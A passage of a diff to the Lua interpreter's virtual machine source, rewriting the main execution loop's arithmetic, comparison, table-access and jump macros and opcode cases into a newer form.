l_muli(L,a,b) intop(*, a, b) +#define l_band(a,b) intop(&, a, b) +#define l_bor(a,b) intop(|, a, b) +#define l_bxor(a,b) intop(^, a, b) + +#define l_lti(a,b) (a < b) +#define l_lei(a,b) (a <= b) +#define l_gti(a,b) (a > b) +#define l_gei(a,b) (a >= b) -#define RA(i) (base+GETARG_A(i)) -/* to be used after possible stack reallocation */ -#define RB(i) check_exp(getBMode(GET_OPCODE(i)) == OpArgR, base+GETARG_B(i)) -#define RC(i) check_exp(getCMode(GET_OPCODE(i)) == OpArgR, base+GETARG_C(i)) -#define RKB(i) check_exp(getBMode(GET_OPCODE(i)) == OpArgK, \ - ISK(GETARG_B(i)) ? k+INDEXK(GETARG_B(i)) : base+GETARG_B(i)) -#define RKC(i) check_exp(getCMode(GET_OPCODE(i)) == OpArgK, \ - ISK(GETARG_C(i)) ? k+INDEXK(GETARG_C(i)) : base+GETARG_C(i)) -#define KBx(i) \ - (k + (GETARG_Bx(i) != 0 ? GETARG_Bx(i) - 1 : GETARG_Ax(*ci->u.l.savedpc++))) +/* +** Arithmetic operations with immediate operands. 'iop' is the integer +** operation, 'fop' is the float operation. +*/ +#define op_arithI(L,iop,fop) { \ + StkId ra = RA(i); \ + TValue *v1 = vRB(i); \ + int imm = GETARG_sC(i); \ + if (ttisinteger(v1)) { \ + lua_Integer iv1 = ivalue(v1); \ + pc++; setivalue(s2v(ra), iop(L, iv1, imm)); \ + } \ + else if (ttisfloat(v1)) { \ + lua_Number nb = fltvalue(v1); \ + lua_Number fimm = cast_num(imm); \ + pc++; setfltvalue(s2v(ra), fop(L, nb, fimm)); \ + }} -/* execute a jump instruction */ -#define dojump(ci,i,e) \ - { int a = GETARG_A(i); \ - if (a > 0) luaF_close(L, ci->u.l.base + a - 1); \ - ci->u.l.savedpc += GETARG_sBx(i) + e; } +/* +** Auxiliary function for arithmetic operations over floats and others +** with two register operands. +*/ +#define op_arithf_aux(L,v1,v2,fop) { \ + lua_Number n1; lua_Number n2; \ + if (tonumberns(v1, n1) && tonumberns(v2, n2)) { \ + pc++; setfltvalue(s2v(ra), fop(L, n1, n2)); \ + }} + + +/* +** Arithmetic operations over floats and others with register operands. +*/ +#define op_arithf(L,fop) { \ + StkId ra = RA(i); \ + TValue *v1 = vRB(i); \ + TValue *v2 = vRC(i); \ + op_arithf_aux(L, v1, v2, fop); } + + +/* +** Arithmetic operations with K operands for floats. +*/ +#define op_arithfK(L,fop) { \ + StkId ra = RA(i); \ + TValue *v1 = vRB(i); \ + TValue *v2 = KC(i); lua_assert(ttisnumber(v2)); \ + op_arithf_aux(L, v1, v2, fop); } + + +/* +** Arithmetic operations over integers and floats. +*/ +#define op_arith_aux(L,v1,v2,iop,fop) { \ + StkId ra = RA(i); \ + if (ttisinteger(v1) && ttisinteger(v2)) { \ + lua_Integer i1 = ivalue(v1); lua_Integer i2 = ivalue(v2); \ + pc++; setivalue(s2v(ra), iop(L, i1, i2)); \ + } \ + else op_arithf_aux(L, v1, v2, fop); } + + +/* +** Arithmetic operations with register operands. +*/ +#define op_arith(L,iop,fop) { \ + TValue *v1 = vRB(i); \ + TValue *v2 = vRC(i); \ + op_arith_aux(L, v1, v2, iop, fop); } + + +/* +** Arithmetic operations with K operands. +*/ +#define op_arithK(L,iop,fop) { \ + TValue *v1 = vRB(i); \ + TValue *v2 = KC(i); lua_assert(ttisnumber(v2)); \ + op_arith_aux(L, v1, v2, iop, fop); } + + +/* +** Bitwise operations with constant operand. +*/ +#define op_bitwiseK(L,op) { \ + StkId ra = RA(i); \ + TValue *v1 = vRB(i); \ + TValue *v2 = KC(i); \ + lua_Integer i1; \ + lua_Integer i2 = ivalue(v2); \ + if (tointegerns(v1, &i1)) { \ + pc++; setivalue(s2v(ra), op(i1, i2)); \ + }} + + +/* +** Bitwise operations with register operands. +*/ +#define op_bitwise(L,op) { \ + StkId ra = RA(i); \ + TValue *v1 = vRB(i); \ + TValue *v2 = vRC(i); \ + lua_Integer i1; lua_Integer i2; \ + if (tointegerns(v1, &i1) && tointegerns(v2, &i2)) { \ + pc++; setivalue(s2v(ra), op(i1, i2)); \ + }} + + +/* +** Order operations with register operands. 'opn' actually works +** for all numbers, but the fast track improves performance for +** integers. +*/ +#define op_order(L,opi,opn,other) { \ + StkId ra = RA(i); \ + int cond; \ + TValue *rb = vRB(i); \ + if (ttisinteger(s2v(ra)) && ttisinteger(rb)) { \ + lua_Integer ia = ivalue(s2v(ra)); \ + lua_Integer ib = ivalue(rb); \ + cond = opi(ia, ib); \ + } \ + else if (ttisnumber(s2v(ra)) && ttisnumber(rb)) \ + cond = opn(s2v(ra), rb); \ + else \ + Protect(cond = other(L, s2v(ra), rb)); \ + docondjump(); } + + +/* +** Order operations with immediate operand. (Immediate operand is +** always small enough to have an exact representation as a float.) +*/ +#define op_orderI(L,opi,opf,inv,tm) { \ + StkId ra = RA(i); \ + int cond; \ + int im = GETARG_sB(i); \ + if (ttisinteger(s2v(ra))) \ + cond = opi(ivalue(s2v(ra)), im); \ + else if (ttisfloat(s2v(ra))) { \ + lua_Number fa = fltvalue(s2v(ra)); \ + lua_Number fim = cast_num(im); \ + cond = opf(fa, fim); \ + } \ + else { \ + int isf = GETARG_C(i); \ + Protect(cond = luaT_callorderiTM(L, s2v(ra), im, inv, isf, tm)); \ + } \ + docondjump(); } + +/* }================================================================== */ + + +/* +** {================================================================== +** Function 'luaV_execute': main interpreter loop +** =================================================================== +*/ + +/* +** some macros for common tasks in 'luaV_execute' +*/ + + +#define RA(i) (base+GETARG_A(i)) +#define RB(i) (base+GETARG_B(i)) +#define vRB(i) s2v(RB(i)) +#define KB(i) (k+GETARG_B(i)) +#define RC(i) (base+GETARG_C(i)) +#define vRC(i) s2v(RC(i)) +#define KC(i) (k+GETARG_C(i)) +#define RKC(i) ((TESTARG_k(i)) ? k + GETARG_C(i) : s2v(base + GETARG_C(i))) + + + +#define updatetrap(ci) (trap = ci->u.l.trap) + +#define updatebase(ci) (base = ci->func.p + 1) + + +#define updatestack(ci) \ + { if (l_unlikely(trap)) { updatebase(ci); ra = RA(i); } } + + +/* +** Execute a jump instruction. The 'updatetrap' allows signals to stop +** tight loops. (Without it, the local copy of 'trap' could never change.) +*/ +#define dojump(ci,i,e) { pc += GETARG_sJ(i) + e; updatetrap(ci); } + /* for test instructions, execute the jump instruction that follows it */ -#define donextjump(ci) { i = *ci->u.l.savedpc; dojump(ci, i, 1); } +#define donextjump(ci) { Instruction ni = *pc; dojump(ci, ni, 1); } + +/* +** do a conditional jump: skip next instruction if 'cond' is not what +** was expected (parameter 'k'), else do next instruction, which must +** be a jump. +*/ +#define docondjump() if (cond != GETARG_k(i)) pc++; else donextjump(ci); -#define Protect(x) { {x;}; base = ci->u.l.base; } +/* +** Correct global 'pc'. +*/ +#define savepc(L) (ci->u.l.savedpc = pc) + +/* +** Whenever code can raise errors, the global 'pc' and the global +** 'top' must be correct to report occasional errors. +*/ +#define savestate(L,ci) (savepc(L), L->top.p = ci->top.p) + + +/* +** Protect code that, in general, can raise errors, reallocate the +** stack, and change the hooks. +*/ +#define Protect(exp) (savestate(L,ci), (exp), updatetrap(ci)) + +/* special version that does not change the top */ +#define ProtectNT(exp) (savepc(L), (exp), updatetrap(ci)) + +/* +** Protect code that can only raise errors. (That is, it cannot change +** the stack or hooks.) +*/ +#define halfProtect(exp) (savestate(L,ci), (exp)) + +/* 'c' is the limit of live values in the stack */ #define checkGC(L,c) \ - Protect( luaC_condGC(L,{L->top = (c); /* limit of live values */ \ - luaC_step(L); \ - L->top = ci->top;}) /* restore top */ \ - luai_threadyield(L); ) + { luaC_condGC(L, (savepc(L), L->top.p = (c)), \ + updatetrap(ci)); \ + luai_threadyield(L); } -#define arith_op(op,tm) { \ - TValue *rb = RKB(i); \ - TValue *rc = RKC(i); \ - if (ttisnumber(rb) && ttisnumber(rc)) { \ - lua_Number nb = nvalue(rb), nc = nvalue(rc); \ - setnvalue(ra, op(L, nb, nc)); \ - } \ - else { Protect(luaV_arith(L, ra, rb, rc, tm)); } } +/* fetch an instruction and prepare its execution */ +#define vmfetch() { \ + if (l_unlikely(trap)) { /* stack reallocation or hooks? */ \ + trap = luaG_traceexec(L, pc); /* handle hooks */ \ + updatebase(ci); /* correct stack */ \ + } \ + i = *(pc++); \ +} + +#define vmdispatch(o) switch(o) +#define vmcase(l) case l: +#define vmbreak break -#define vmdispatch(o) switch(o) -#define vmcase(l,b) case l: {b} break; -#define vmcasenb(l,b) case l: {b} /* nb = no break */ - -void luaV_execute(lua_State *L) { - CallInfo *ci = L->ci; +void luaV_execute(lua_State *L, CallInfo *ci) { LClosure *cl; TValue *k; StkId base; -newframe: /* reentry point when frame changes (call/return) */ - lua_assert(ci == L->ci); - cl = clLvalue(ci->func); + const Instruction *pc; + int trap; +#if LUA_USE_JUMPTABLE +#include "ljumptab.h" +#endif +startfunc: + trap = L->hookmask; +returning: /* trap already set */ + cl = ci_func(ci); k = cl->p->k; - base = ci->u.l.base; + pc = ci->u.l.savedpc; + if (l_unlikely(trap)) + trap = luaG_tracecall(L); + base = ci->func.p + 1; /* main loop of interpreter */ for (;;) { - Instruction i = *(ci->u.l.savedpc++); - StkId ra; - if ((L->hookmask & (LUA_MASKLINE | LUA_MASKCOUNT)) && - (--L->hookcount == 0 || L->hookmask & LUA_MASKLINE)) { - Protect(traceexec(L)); - } - /* WARNING: several calls may realloc the stack and invalidate `ra' */ - ra = RA(i); - lua_assert(base == ci->u.l.base); - lua_assert(base <= L->top && L->top < L->stack + L->stacksize); + Instruction i; /* instruction being executed */ + vmfetch(); +#if 0 + /* low-level line tracing for debugging Lua */ + printf("line: %d\n", luaG_getfuncline(cl->p, pcRel(pc, cl->p))); +#endif + lua_assert(base == ci->func.p + 1); + lua_assert(base <= L->top.p && L->top.p <= L->stack_last.p); + /* invalidate top for instructions not expecting it */ + lua_assert(isIT(i) || (cast_void(L->top.p = base), 1)); vmdispatch(GET_OPCODE(i)) { - vmcase(OP_MOVE, - setobjs2s(L, ra, RB(i)); - ) - vmcase(OP_LOADK, - TValue *rb = k + GETARG_Bx(i); - setobj2s(L, ra, rb); - ) - vmcase(OP_LOADKX, - TValue * rb; - lua_assert(GET_OPCODE(*ci->u.l.savedpc) == OP_EXTRAARG); - rb = k + GETARG_Ax(*ci->u.l.savedpc++); - setobj2s(L, ra, rb); - ) - vmcase(OP_LOADBOOL, - setbvalue(ra, GETARG_B(i)); - if (GETARG_C(i)) ci->u.l.savedpc++; /* skip next instruction (if C) */ - ) - vmcase(OP_LOADNIL, - int b = GETARG_B(i); - do { - setnilvalue(ra++); - } while (b--); - ) - vmcase(OP_GETUPVAL, - int b = GETARG_B(i); - setobj2s(L, ra, cl->upvals[b]->v); - ) - vmcase(OP_GETTABUP, - int b = GETARG_B(i); - Protect(luaV_gettable(L, cl->upvals[b]->v, RKC(i), ra)); - ) - vmcase(OP_GETTABLE, - Protect(luaV_gettable(L, RB(i), RKC(i), ra)); - ) - vmcase(OP_SETTABUP, - int a = GETARG_A(i); - Protect(luaV_settable(L, cl->upvals[a]->v, RKB(i), RKC(i))); - ) - vmcase(OP_SETUPVAL, - UpVal *uv = cl->upvals[GETARG_B(i)]; - setobj(L, uv->v, ra); - luaC_barrier(L, uv, ra); - ) - vmcase(OP_SETTABLE, - Protect(luaV_settable(L, ra, RKB(i), RKC(i))); - ) - vmcase(OP_NEWTABLE, - int b = GETARG_B(i); - int c = GETARG_C(i); - Table *t = luaH_new(L); - sethvalue(L, ra, t); - if (b != 0 || c != 0) - luaH_resize(L, t, luaO_fb2int(b), luaO_fb2int(c)); - checkGC(L, ra + 1); - ) - vmcase(OP_SELF, - StkId rb = RB(i); - setobjs2s(L, ra + 1, rb); - Protect(luaV_gettable(L, rb, RKC(i), ra)); - ) - vmcase(OP_ADD, - arith_op(luai_numadd, TM_ADD); - ) - vmcase(OP_SUB, - arith_op(luai_numsub, TM_SUB); - ) - vmcase(OP_MUL, - arith_op(luai_nummul, TM_MUL); - ) - vmcase(OP_DIV, - arith_op(luai_numdiv, TM_DIV); - ) - vmcase(OP_MOD, - arith_op(luai_nummod, TM_MOD); - ) - vmcase(OP_POW, - arith_op(luai_numpow, TM_POW); - ) - vmcase(OP_UNM, - TValue *rb = RB(i); - if (ttisnumber(rb)) { - lua_Number nb = nvalue(rb); - setnvalue(ra, luai_numunm(L, nb)); - } else { - Protect(luaV_arith(L, ra, rb, rb, TM_UNM)); - } - ) - vmcase(OP_NOT, - TValue *rb = RB(i); - int res = l_isfalse(rb); /* next assignment may change this value */ - setbvalue(ra, res); - ) - vmcase(OP_LEN, - Protect(luaV_objlen(L, ra, RB(i))); - ) - vmcase(OP_CONCAT, - int b = GETARG_B(i); - int c = GETARG_C(i); - StkId rb; - L->top = base + c + 1; /* mark the end of concat operands */ - Protect(luaV_concat(L, c - b + 1)); - ra = RA(i); /* 'luav_concat' may invoke TMs and move the stack */ - rb = b + base; - setobjs2s(L, ra, rb); - checkGC(L, (ra >= rb ? ra + 1 : rb)); - L->top = ci->top; /* restore top */ - ) - vmcase(OP_JMP, - dojump(ci, i, 0); - ) - vmcase(OP_EQ, - TValue *rb = RKB(i); - TValue *rc = RKC(i); - Protect( - if (cast_int(equalobj(L, rb, rc)) != GETARG_A(i)) - ci->u.l.savedpc++; - else - donextjump(ci); - ) - ) - vmcase(OP_LT, - Protect( - if (luaV_lessthan(L, RKB(i), RKC(i)) != GETARG_A(i)) - ci->u.l.savedpc++; - else - donextjump(ci); - ) - ) - vmcase(OP_LE, - Protect( - if (luaV_lessequal(L, RKB(i), RKC(i)) != GETARG_A(i)) - ci->u.l.savedpc++; - else - donextjump(ci); - ) - ) - vmcase(OP_TEST, - if (GETARG_C(i) ? l_isfalse(ra) : !l_isfalse(ra)) - ci->u.l.savedpc++; - else - donextjump(ci); - ) - vmcase(OP_TESTSET, - TValue *rb = RB(i); - if (GETARG_C(i) ? l_isfalse(rb) : !l_isfalse(rb)) - ci->u.l.savedpc++; - else { - setobjs2s(L, ra, rb); - donextjump(ci); - } - ) - vmcase(OP_CALL, - int b = GETARG_B(i); - int nresults = GETARG_C(i) - 1; - if (b != 0) L->top = ra + b; /* else previous instruction set top */ - if (luaD_precall(L, ra, nresults)) { /* C function? */ - if (nresults >= 0) L->top = ci->top; /* adjust results */ - base = ci->u.l.base; - } else { /* Lua function */ - ci = L->ci; - ci->callstatus |= CIST_REENTRY; - goto newframe; /* restart luaV_execute over new Lua function */ - } - ) - vmcase(OP_TAILCALL, - int b = GETARG_B(i); - if (b != 0) L->top = ra + b; /* else previous instruction set top */ - lua_assert(GETARG_C(i) - 1 == LUA_MULTRET); - if (luaD_precall(L, ra, LUA_MULTRET)) /* C function? */ - base = ci->u.l.base; - else { - /* tail call: put called frame (n) in place of caller one (o) */ - CallInfo *nci = L->ci; /* called frame */ - CallInfo *oci = nci->previous; /* caller frame */ - StkId nfunc = nci->func; /* called function */ - StkId ofunc = oci->func; /* caller function */ - /* last stack slot filled by 'precall' */ - StkId lim = nci->u.l.base + getproto(nfunc)->numparams; - int aux; - /* close all upvalues from previous call */ - if (cl->p->sizep > 0) luaF_close(L, oci->u.l.base); - /* move new frame into old one */ - for (aux = 0; nfunc + aux < lim; aux++) - setobjs2s(L, ofunc + aux, nfunc + aux); - oci->u.l.base = ofunc + (nci->u.l.base - nfunc); /* correct base */ - oci->top = L->top = ofunc + (L->top - nfunc); /* correct top */ - oci->u.l.savedpc = nci->u.l.savedpc; - oci->callstatus |= CIST_TAIL; /* function was tail called */ - ci = L->ci = oci; /* remove new frame */ - lua_assert(L->top == oci->u.l.base + getproto(ofunc)->maxstacksize); - goto newframe; /* restart luaV_execute over new Lua function */ - } - ) - vmcasenb(OP_RETURN, - int b = GETARG_B(i); - if (b != 0) L->top = ra + b - 1; - if (cl->p->sizep > 0) luaF_close(L, base); - b = luaD_poscall(L, ra); - if (!(ci->callstatus & CIST_REENTRY)) /* 'ci' still the called one */ - return; /* external invocation: return */ - else { /* invocation via reentry: continue execution */ - ci = L->ci; - if (b) L->top = ci->top; - lua_assert(isLua(ci)); - lua_assert(GET_OPCODE(*((ci)->u.l.savedpc - 1)) == OP_CALL); - goto newframe; /* restart luaV_execute over new Lua function */ - } - ) - vmcase(OP_FORLOOP, - lua_Number step = nvalue(ra + 2); - lua_Number idx = luai_numadd(L, nvalue(ra), step); /* increment index */ - lua_Number limit = nvalue(ra + 1); - if (luai_numlt(L, 0, step) ? luai_numle(L, idx, limit) - : luai_numle(L, limit, idx)) { - ci->u.l.savedpc += GETARG_sBx(i); /* jump back */ - setnvalue(ra, idx); /* update internal index... */ - setnvalue(ra + 3, idx); /* ...and external index */ + vmcase(OP_MOVE) { + StkId ra = RA(i); + setobjs2s(L, ra, RB(i)); + vmbreak; } - ) - vmcase(OP_FORPREP, - const TValue *init = ra; - const TValue *plimit = ra + 1; - const TValue *pstep = ra + 2; - if (!tonumber(init, ra)) - luaG_runerror(L, LUA_QL("for") " initial value must be a number"); - else if (!tonumber(plimit, ra + 1)) - luaG_runerror(L, LUA_QL("for") " limit must be a number"); - else if (!tonumber(pstep, ra + 2)) - luaG_runerror(L, LUA_QL("for") " step must be a number"); - setnvalue(ra, luai_numsub(L, nvalue(ra), nvalue(pstep))); - ci->u.l.savedpc += GETARG_sBx(i); - ) - vmcasenb(OP_TFORCALL, - StkId cb = ra + 3; /* call base */ - setobjs2s(L, cb + 2, ra + 2); - setobjs2s(L, cb + 1, ra + 1); - setobjs2s(L, cb, ra); - L->top = cb + 3; /* func. + 2 args (state and index) */ - Protect(luaD_call(L, cb, GETARG_C(i), 1)); - L->top = ci->top; - i = *(ci->u.l.savedpc++); /* go to next instruction */ - ra = RA(i); - lua_assert(GET_OPCODE(i) == OP_TFORLOOP); - goto l_tforloop; - ) - vmcase(OP_TFORLOOP, - l_tforloop: - if (!ttisnil(ra + 1)) { /* continue loop? */ - setobjs2s(L, ra, ra + 1); /* save control variable */ - ci->u.l.savedpc += GETARG_sBx(i); /* jump back */ - } - ) - vmcase(OP_SETLIST, - int n = GETARG_B(i); - int c = GETARG_C(i); - int last; - Table * h; - if (n == 0) n = cast_int(L->top - ra) - 1; - if (c == 0) { - lua_assert(GET_OPCODE(*ci->u.l.savedpc) == OP_EXTRAARG); - c = GETARG_Ax(*ci->u.l.savedpc++); + vmcase(OP_LOADI) { + StkId ra = RA(i); + lua_Integer b = GETARG_sBx(i); + setivalue(s2v(ra), b); + vmbreak; + } + vmcase(OP_LOADF) { + StkId ra = RA(i); + int b = GETARG_sBx(i); + setfltvalue(s2v(ra), cast_num(b)); + vmbreak; + } + vmcase(OP_LOADK) { + StkId ra = RA(i); + TValue *rb = k + GETARG_Bx(i); + setobj2s(L, ra, rb); + vmbreak; + } + vmcase(OP_LOADKX) { + StkId ra = RA(i); + TValue *rb; + rb = k + GETARG_Ax(*pc); + pc++; + setobj2s(L, ra, rb); + vmbreak; + } + vmcase(OP_LOADFALSE) { + StkId ra = RA(i); + setbfvalue(s2v(ra)); + vmbreak; + } + vmcase(OP_LFALSESKIP) { + StkId ra = RA(i); + setbfvalue(s2v(ra)); + pc++; /* skip next instruction */ + vmbreak; + } + vmcase(OP_LOADTRUE) { + StkId ra = RA(i); + setbtvalue(s2v(ra)); + vmbreak; + } + vmcase(OP_LOADNIL) { + StkId ra = RA(i); + int b = GETARG_B(i); + do { + setnilvalue(s2v(ra++)); + } while (b--); + vmbreak; + } + vmcase(OP_GETUPVAL) { + StkId ra = RA(i); + int b = GETARG_B(i); + setobj2s(L, ra, cl->upvals[b]->v.p); + vmbreak; + } + vmcase(OP_SETUPVAL) { + StkId ra = RA(i); + UpVal *uv = cl->upvals[GETARG_B(i)]; + setobj(L, uv->v.p, s2v(ra)); + luaC_barrier(L, uv, s2v(ra)); + vmbreak; + } + vmcase(OP_GETTABUP) { + StkId ra = RA(i); + const TValue *slot; + TValue *upval = cl->upvals[GETARG_B(i)]->v.p; + TValue *rc = KC(i); + TString *key = tsvalue(rc); /* key must be a short string */ + if (luaV_fastget(L, upval, key, slot, luaH_getshortstr)) { + setobj2s(L, ra, slot); + } else + Protect(luaV_finishget(L, upval, rc, ra, slot)); + vmbreak; + } + vmcase(OP_GETTABLE) { + StkId ra = RA(i); + const TValue *slot; + TValue *rb = vRB(i); + TValue *rc = vRC(i); + lua_Unsigned n; + if (ttisinteger(rc) /* fast track for integers? */ + ? (cast_void(n = ivalue(rc)), luaV_fastgeti(L, rb, n, slot)) + : luaV_fastget(L, rb, rc, slot, luaH_get)) { + setobj2s(L, ra, slot); + } else + Protect(luaV_finishget(L, rb, rc, ra, slot)); + vmbreak; + } + vmcase(OP_GETI) { + StkId ra = RA(i); + const TValue *slot; + TValue *rb = vRB(i); + int c = GETARG_C(i); + if (luaV_fastgeti(L, rb, c, slot)) { + setobj2s(L, ra, slot); + } else { + TValue key; + setivalue(&key, c); + Protect(luaV_finishget(L, rb, &key, ra, slot)); } - luai_runtimecheck(L, ttistable(ra)); - h = hvalue(ra); - last = ((c - 1) * LFIELDS_PER_FLUSH) + n; - if (last > h->sizearray) /* needs more space? */ - luaH_resizearray(L, h, last); /* pre-allocate it at once */ - for (; n > 0; n--) { - TValue *val = ra + n; - luaH_setint(L, h, last--, val); + vmbreak; + } + vmcase(OP_GETFIELD) { + StkId ra = RA(i); + const TValue *slot; + TValue *rb = vRB(i); + TValue *rc = KC(i); + TString *key = tsvalue(rc); /* key must be a short string */ + if (luaV_fastget(L, rb, key, slot, luaH_getshortstr)) { + setobj2s(L, ra, slot); + } else + Protect(luaV_finishget(L, rb, rc, ra, slot)); + vmbreak; + } + vmcase(OP_SETTABUP) { + const TValue *slot; + TValue *upval = cl->upvals[GETARG_A(i)]->v.p; + TValue *rb = KB(i); + TValue *rc = RKC(i); + TString *key = tsvalue(rb); /* key must be a short string */ + if (luaV_fastget(L, upval, key, slot, luaH_getshortstr)) { + luaV_finishfastset(L, upval, slot, rc); + } else + Protect(luaV_finishset(L, upval, rb, rc, slot)); + vmbreak; + } + vmcase(OP_SETTABLE) { + StkId ra = RA(i); + const TValue *slot; + TValue *rb = vRB(i); /* key (table is in 'ra') */ + TValue *rc = RKC(i); /* value */ + lua_Unsigned n; + if (ttisinteger(rb) /* fast track for integers? */ + ? (cast_void(n = ivalue(rb)), luaV_fastgeti(L, s2v(ra), n, slot)) + : luaV_fastget(L, s2v(ra), rb, slot, luaH_get)) { + luaV_finishfastset(L, s2v(ra), slot, rc); + } else + Protect(luaV_finishset(L, s2v(ra), rb, rc, slot)); + vmbreak; + } + vmcase(OP_SETI) { + StkId ra = RA(i); + const TValue *slot; + int c = GETARG_B(i); + TValue *rc = RKC(i); + if (luaV_fastgeti(L, s2v(ra), c, slot)) { + luaV_finishfastset(L, s2v(ra), slot, rc); + } else { + TValue key; + setivalue(&key, c); + Protect(luaV_finishset(L, s2v(ra), &key, rc, slot)); + } + vmbreak; + } + vmcase(OP_SETFIELD) { + StkId ra = RA(i); + const TValue *slot; + TValue *rb = KB(i); + TValue *rc = RKC(i); + TString *key = tsvalue(rb); /* key must be a short string */ + if (luaV_fastget(L, s2v(ra), key, slot, luaH_getshortstr)) { + luaV_finishfastset(L, s2v(ra), slot, rc); + } else + Protect(luaV_finishset(L, s2v(ra), rb, rc, slot)); + vmbreak; + } + vmcase(OP_NEWTABLE) { + StkId ra = RA(i); + int b = GETARG_B(i); /* log2(hash size) + 1 */ + int c = GETARG_C(i); /* array size */ + Table *t; + if (b > 0) + b = 1 << (b - 1); /* size is 2^(b - 1) */ + lua_assert((!TESTARG_k(i)) == (GETARG_Ax(*pc) == 0)); + if (TESTARG_k(i)) /* non-zero extra argument? */ + c += GETARG_Ax(*pc) * (MAXARG_C + 1); /* add it to size */ + pc++; /* skip extra argument */ + L->top.p = ra + 1; /* correct top in case of emergency GC */ + t = luaH_new(L); /* memory allocation */ + sethvalue2s(L, ra, t); + if (b != 0 || c != 0) + luaH_resize(L, t, c, b); /* idem */ + checkGC(L, ra + 1); + vmbreak; + } + vmcase(OP_SELF) { + StkId ra = RA(i); + const TValue *slot; + TValue *rb = vRB(i); + TValue *rc = RKC(i); + TString *key = tsvalue(rc); /* key must be a string */ + setobj2s(L, ra + 1, rb); + if (luaV_fastget(L, rb, key, slot, luaH_getstr)) { + setobj2s(L, ra, slot); + } else + Protect(luaV_finishget(L, rb, rc, ra, slot)); + vmbreak; + } + vmcase(OP_ADDI) { + op_arithI(L, l_addi, luai_numadd); + vmbreak; + } + vmcase(OP_ADDK) { + op_arithK(L, l_addi, luai_numadd); + vmbreak; + } + vmcase(OP_SUBK) { + op_arithK(L, l_subi, luai_numsub); + vmbreak; + } + vmcase(OP_MULK) { + op_arithK(L, l_muli, luai_nummul); + vmbreak; + } + vmcase(OP_MODK) { + savestate(L, ci); /* in case of division by 0 */ + op_arithK(L, luaV_mod, luaV_modf); + vmbreak; + } + vmcase(OP_POWK) { + op_arithfK(L, luai_numpow); + vmbreak; + } + vmcase(OP_DIVK) { + op_arithfK(L, luai_numdiv); + vmbreak; + } + vmcase(OP_IDIVK) { + savestate(L, ci); /* in case of division by 0 */ + op_arithK(L, luaV_idiv, luai_numidiv); + vmbreak; + } + vmcase(OP_BANDK) { + op_bitwiseK(L, l_band); + vmbreak; + } + vmcase(OP_BORK) { + op_bitwiseK(L, l_bor); + vmbreak; + } + vmcase(OP_BXORK) { + op_bitwiseK(L, l_bxor); + vmbreak; + } + vmcase(OP_SHRI) { + StkId ra = RA(i); + TValue *rb = vRB(i); + int ic = GETARG_sC(i); + lua_Integer ib; + if (tointegerns(rb, &ib)) { + pc++; + setivalue(s2v(ra), luaV_shiftl(ib, -ic)); + } + vmbreak; + } + vmcase(OP_SHLI) { + StkId ra = RA(i); + TValue *rb = vRB(i); + int ic = GETARG_sC(i); + lua_Integer ib; + if (tointegerns(rb, &ib)) { + pc++; + setivalue(s2v(ra), luaV_shiftl(ic, ib)); + } + vmbreak; + } + vmcase(OP_ADD) { + op_arith(L, l_addi, luai_numadd); + vmbreak; + } + vmcase(OP_SUB) { + op_arith(L, l_subi, luai_numsub); + vmbreak; + } + vmcase(OP_MUL) { + op_arith(L, l_muli, luai_nummul); + vmbreak; + } + vmcase(OP_MOD) { + savestate(L, ci); /* in case of division by 0 */ + op_arith(L, luaV_mod, luaV_modf); + vmbreak; + } + vmcase(OP_POW) { + op_arithf(L, luai_numpow); + vmbreak; + } + vmcase(OP_DIV) { /* float division (always with floats) */ + op_arithf(L, luai_numdiv); + vmbreak; + } + vmcase(OP_IDIV) { /* floor division */ + savestate(L, ci); /* in case of division by 0 */ + op_arith(L, luaV_idiv, luai_numidiv); + vmbreak; + } + vmcase(OP_BAND) { + op_bitwise(L, l_band); + vmbreak; + } + vmcase(OP_BOR) { + op_bitwise(L, l_bor); + vmbreak; + } + vmcase(OP_BXOR) { + op_bitwise(L, l_bxor); + vmbreak; + } + vmcase(OP_SHR) { + op_bitwise(L, luaV_shiftr); + vmbreak; + } + vmcase(OP_SHL) { + op_bitwise(L, luaV_shiftl); + vmbreak; + } + vmcase(OP_MMBIN) { + StkId ra = RA(i); + Instruction pi = *(pc - 2); /* original arith. expression */ + TValue *rb = vRB(i); + TMS tm = (TMS)GETARG_C(i); + StkId result = RA(pi); + lua_assert(OP_ADD <= GET_OPCODE(pi) && GET_OPCODE(pi) <= OP_SHR); + Protect(luaT_trybinTM(L, s2v(ra), rb, result, tm)); + vmbreak; + } + vmcase(OP_MMBINI) { + StkId ra = RA(i); + Instruction pi = *(pc - 2); /* original arith. expression */ + int imm = GETARG_sB(i); + TMS tm = (TMS)GETARG_C(i); + int flip = GETARG_k(i); + StkId result = RA(pi); + Protect(luaT_trybiniTM(L, s2v(ra), imm, flip, result, tm)); + vmbreak; + } + vmcase(OP_MMBINK) { + StkId ra = RA(i); + Instruction pi = *(pc - 2); /* original arith. expression */ + TValue *imm = KB(i); + TMS tm = (TMS)GETARG_C(i); + int flip = GETARG_k(i); + StkId result = RA(pi); + Protect(luaT_trybinassocTM(L, s2v(ra), imm, flip, result, tm)); + vmbreak; + } + vmcase(OP_UNM) { + StkId ra = RA(i); + TValue *rb = vRB(i); + lua_Number nb; + if (ttisinteger(rb)) { + lua_Integer ib = ivalue(rb); + setivalue(s2v(ra), intop(-, 0, ib)); + } else if (tonumberns(rb, nb)) { + setfltvalue(s2v(ra), luai_numunm(L, nb)); + } else + Protect(luaT_trybinTM(L, rb, rb, ra, TM_UNM)); + vmbreak; + } + vmcase(OP_BNOT) { + StkId ra = RA(i); + TValue *rb = vRB(i); + lua_Integer ib; + if (tointegerns(rb, &ib)) { + setivalue(s2v(ra), intop(^, ~l_castS2U(0), ib)); + } else + Protect(luaT_trybinTM(L, rb, rb, ra, TM_BNOT)); + vmbreak; + } + vmcase(OP_NOT) { + StkId ra = RA(i); + TValue *rb = vRB(i); + if (l_isfalse(rb)) + setbtvalue(s2v(ra)); + else + setbfvalue(s2v(ra)); + vmbreak; + } + vmcase(OP_LEN) { + StkId ra = RA(i); + Protect(luaV_objlen(L, ra, vRB(i))); + vmbreak; + } + vmcase(OP_CONCAT) { + StkId ra = RA(i); + int n = GETARG_B(i); /* number of elements to concatenate */ + L->top.p = ra + n; /* mark the end of concat operands */ + ProtectNT(luaV_concat(L, n)); + checkGC(L, L->top.p); /* 'luaV_concat' ensures correct top */ + vmbreak; + } + vmcase(OP_CLOSE) { + StkId ra = RA(i); + Protect(luaF_close(L, ra, LUA_OK, 1)); + vmbreak; + } + vmcase(OP_TBC) { + StkId ra = RA(i); + /* create new to-be-closed upvalue */ + halfProtect(luaF_newtbcupval(L, ra)); + vmbreak; + } + vmcase(OP_JMP) { + dojump(ci, i, 0); + vmbreak; + 